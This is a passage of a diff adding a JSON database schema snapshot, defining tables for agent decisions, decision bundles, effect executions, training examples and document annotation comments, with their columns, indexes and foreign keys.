+          "name": "decision_triage_events_actor_check",
+          "value": "(\n        (\"decision_triage_events\".\"actor_type\" = 'agent' AND \"decision_triage_events\".\"actor_agent_id\" IS NOT NULL AND \"decision_triage_events\".\"actor_user_id\" IS NULL)\n        OR (\"decision_triage_events\".\"actor_type\" = 'user' AND \"decision_triage_events\".\"actor_agent_id\" IS NULL AND \"decision_triage_events\".\"actor_user_id\" IS NOT NULL)\n        OR (\"decision_triage_events\".\"actor_type\" = 'system' AND \"decision_triage_events\".\"actor_agent_id\" IS NULL AND \"decision_triage_events\".\"actor_user_id\" IS NULL)\n      )"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.decision_training_examples": {
+      "name": "decision_training_examples",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_id": {
+          "name": "source_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "cutoff_at": {
+          "name": "cutoff_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "notes": {
+          "name": "notes",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "notes_history": {
+          "name": "notes_history",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "decision_outcome": {
+          "name": "decision_outcome",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retention_policy": {
+          "name": "retention_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'scrub_deleted_comments_v1'"
+        },
+        "snapshot": {
+          "name": "snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_training_examples_company_created_at_idx": {
+          "name": "decision_training_examples_company_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_training_examples_issue_idx": {
+          "name": "decision_training_examples_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_training_examples_source_author_uq": {
+          "name": "decision_training_examples_source_author_uq",
+          "columns": [
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_by_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_training_examples_company_id_companies_id_fk": {
+          "name": "decision_training_examples_company_id_companies_id_fk",
+          "tableFrom": "decision_training_examples",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_training_examples_issue_id_issues_id_fk": {
+          "name": "decision_training_examples_issue_id_issues_id_fk",
+          "tableFrom": "decision_training_examples",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.decision_bundles": {
+      "name": "decision_bundles",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "summary": {
+          "name": "summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_agent_id": {
+          "name": "origin_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_issue_id": {
+          "name": "origin_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_run_id": {
+          "name": "origin_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_bundles_company_created_at_idx": {
+          "name": "decision_bundles_company_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_bundles_company_id_companies_id_fk": {
+          "name": "decision_bundles_company_id_companies_id_fk",
+          "tableFrom": "decision_bundles",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_bundles_origin_agent_id_agents_id_fk": {
+          "name": "decision_bundles_origin_agent_id_agents_id_fk",
+          "tableFrom": "decision_bundles",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "origin_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_bundles_origin_issue_id_issues_id_fk": {
+          "name": "decision_bundles_origin_issue_id_issues_id_fk",
+          "tableFrom": "decision_bundles",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "origin_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_bundles_origin_run_id_heartbeat_runs_id_fk": {
+          "name": "decision_bundles_origin_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "decision_bundles",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "origin_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.decision_effect_executions": {
+      "name": "decision_effect_executions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "decision_id": {
+          "name": "decision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "effect_index": {
+          "name": "effect_index",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "effect_type": {
+          "name": "effect_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_issue_id": {
+          "name": "target_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'claimed'"
+        },
+        "result": {
+          "name": "result",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "activity_log_id": {
+          "name": "activity_log_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "executed_at": {
+          "name": "executed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        }
+      },
+      "indexes": {
+        "decision_effect_executions_decision_effect_uq": {
+          "name": "decision_effect_executions_decision_effect_uq",
+          "columns": [
+            {
+              "expression": "decision_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "effect_index",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_effect_executions_target_issue_idx": {
+          "name": "decision_effect_executions_target_issue_idx",
+          "columns": [
+            {
+              "expression": "target_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_effect_executions_decision_id_decisions_id_fk": {
+          "name": "decision_effect_executions_decision_id_decisions_id_fk",
+          "tableFrom": "decision_effect_executions",
+          "tableTo": "decisions",
+          "columnsFrom": [
+            "decision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_effect_executions_target_issue_id_issues_id_fk": {
+          "name": "decision_effect_executions_target_issue_id_issues_id_fk",
+          "tableFrom": "decision_effect_executions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "target_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_effect_executions_activity_log_id_activity_log_id_fk": {
+          "name": "decision_effect_executions_activity_log_id_activity_log_id_fk",
+          "tableFrom": "decision_effect_executions",
+          "tableTo": "activity_log",
+          "columnsFrom": [
+            "activity_log_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.decision_target_issues": {
+      "name": "decision_target_issues",
+      "schema": "",
+      "columns": {
+        "decision_id": {
+          "name": "decision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        }
+      },
+      "indexes": {
+        "decision_target_issues_decision_idx": {
+          "name": "decision_target_issues_decision_idx",
+          "columns": [
+            {
+              "expression": "decision_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_target_issues_issue_idx": {
+          "name": "decision_target_issues_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_target_issues_decision_id_decisions_id_fk": {
+          "name": "decision_target_issues_decision_id_decisions_id_fk",
+          "tableFrom": "decision_target_issues",
+          "tableTo": "decisions",
+          "columnsFrom": [
+            "decision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_target_issues_issue_id_issues_id_fk": {
+          "name": "decision_target_issues_issue_id_issues_id_fk",
+          "tableFrom": "decision_target_issues",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_target_issues_company_id_companies_id_fk": {
+          "name": "decision_target_issues_company_id_companies_id_fk",
+          "tableFrom": "decision_target_issues",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {
+        "decision_target_issues_decision_id_issue_id_pk": {
+          "name": "decision_target_issues_decision_id_issue_id_pk",
+          "columns": [
+            "decision_id",
+            "issue_id"
+          ]
+        }
+      },
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.decisions": {
+      "name": "decisions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "bundle_id": {
+          "name": "bundle_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "origin_agent_id": {
+          "name": "origin_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_issue_id": {
+          "name": "origin_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_run_id": {
+          "name": "origin_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "rule_key": {
+          "name": "rule_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "options": {
+          "name": "options",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "inputs": {
+          "name": "inputs",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'open'"
+        },
+        "execution_status": {
+          "name": "execution_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "chosen_option_id": {
+          "name": "chosen_option_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "input_values": {
+          "name": "input_values",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decided_by_user_id": {
+          "name": "decided_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decided_at": {
+          "name": "decided_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "idempotency_key": {
+          "name": "idempotency_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "signed_spec": {
+          "name": "signed_spec",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_snapshots": {
+          "name": "target_snapshots",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "continuation_policy": {
+          "name": "continuation_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'none'"
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decisions_company_status_expires_at_idx": {
+          "name": "decisions_company_status_expires_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decisions_bundle_idx": {
+          "name": "decisions_bundle_idx",
+          "columns": [
+            {
+              "expression": "bundle_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decisions_origin_issue_idx": {
+          "name": "decisions_origin_issue_idx",
+          "columns": [
+            {
+              "expression": "origin_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decisions_company_idempotency_uq": {
+          "name": "decisions_company_idempotency_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "idempotency_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"decisions\".\"idempotency_key\" IS NOT NULL",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decisions_company_id_companies_id_fk": {
+          "name": "decisions_company_id_companies_id_fk",
+          "tableFrom": "decisions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decisions_bundle_id_decision_bundles_id_fk": {
+          "name": "decisions_bundle_id_decision_bundles_id_fk",
+          "tableFrom": "decisions",
+          "tableTo": "decision_bundles",
+          "columnsFrom": [
+            "bundle_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "decisions_origin_agent_id_agents_id_fk": {
+          "name": "decisions_origin_agent_id_agents_id_fk",
+          "tableFrom": "decisions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "origin_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decisions_origin_issue_id_issues_id_fk": {
+          "name": "decisions_origin_issue_id_issues_id_fk",
+          "tableFrom": "decisions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "origin_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decisions_origin_run_id_heartbeat_runs_id_fk": {
+          "name": "decisions_origin_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "decisions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "origin_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.document_annotation_anchor_snapshots": {
+      "name": "document_annotation_anchor_snapshots",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "thread_id": {
+          "name": "thread_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "from_revision_id": {
+          "name": "from_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "from_revision_number": {
+          "name": "from_revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "to_revision_id": {
+          "name": "to_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "to_revision_number": {
+          "name": "to_revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "previous_anchor": {
+          "name": "previous_anchor",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "next_anchor": {
+          "name": "next_anchor",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "anchor_state": {
+          "name": "anchor_state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "anchor_confidence": {
+          "name": "anchor_confidence",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "document_annotation_anchor_snapshots_company_thread_created_at_idx": {
+          "name": "document_annotation_anchor_snapshots_company_thread_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "thread_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_anchor_snapshots_company_document_revision_idx": {
+          "name": "document_annotation_anchor_snapshots_company_document_revision_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "to_revision_number",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "document_annotation_anchor_snapshots_company_id_companies_id_fk": {
+          "name": "document_annotation_anchor_snapshots_company_id_companies_id_fk",
+          "tableFrom": "document_annotation_anchor_snapshots",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "document_annotation_anchor_snapshots_thread_id_document_annotation_threads_id_fk": {
+          "name": "document_annotation_anchor_snapshots_thread_id_document_annotation_threads_id_fk",
+          "tableFrom": "document_annotation_anchor_snapshots",
+          "tableTo": "document_annotation_threads",
+          "columnsFrom": [
+            "thread_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_anchor_snapshots_document_id_documents_id_fk": {
+          "name": "document_annotation_anchor_snapshots_document_id_documents_id_fk",
+          "tableFrom": "document_annotation_anchor_snapshots",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_anchor_snapshots_from_revision_id_document_revisions_id_fk": {
+          "name": "document_annotation_anchor_snapshots_from_revision_id_document_revisions_id_fk",
+          "tableFrom": "document_annotation_anchor_snapshots",
+          "tableTo": "document_revisions",
+          "columnsFrom": [
+            "from_revision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "document_annotation_anchor_snapshots_to_revision_id_document_revisions_id_fk": {
+          "name": "document_annotation_anchor_snapshots_to_revision_id_document_revisions_id_fk",
+          "tableFrom": "document_annotation_anchor_snapshots",
+          "tableTo": "document_revisions",
+          "columnsFrom": [
+            "to_revision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.document_annotation_comments": {
+      "name": "document_annotation_comments",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "thread_id": {
+          "name": "thread_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "routine_id": {
+          "name": "routine_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "author_type": {
+          "name": "author_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "author_agent_id": {
+          "name": "author_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_user_id": {
+          "name": "author_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_comment_id": {
+          "name": "issue_comment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_trust": {
+          "name": "source_trust",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "document_annotation_comments_company_thread_created_at_idx": {
+          "name": "document_annotation_comments_company_thread_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "thread_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_comments_company_issue_created_at_idx": {
+          "name": "document_annotation_comments_company_issue_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_comments_company_routine_created_at_idx": {
+          "name": "document_annotation_comments_company_routine_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_comments_company_case_created_at_idx": {
+          "name": "document_annotation_comments_company_case_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_comments_company_document_created_at_idx": {
+          "name": "document_annotation_comments_company_document_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_comments_issue_comment_idx": {
+          "name": "document_annotation_comments_issue_comment_idx",
+          "columns": [
+            {
+              "expression": "issue_comment_id",
+              "isExpression": false,
+              "asc": true,
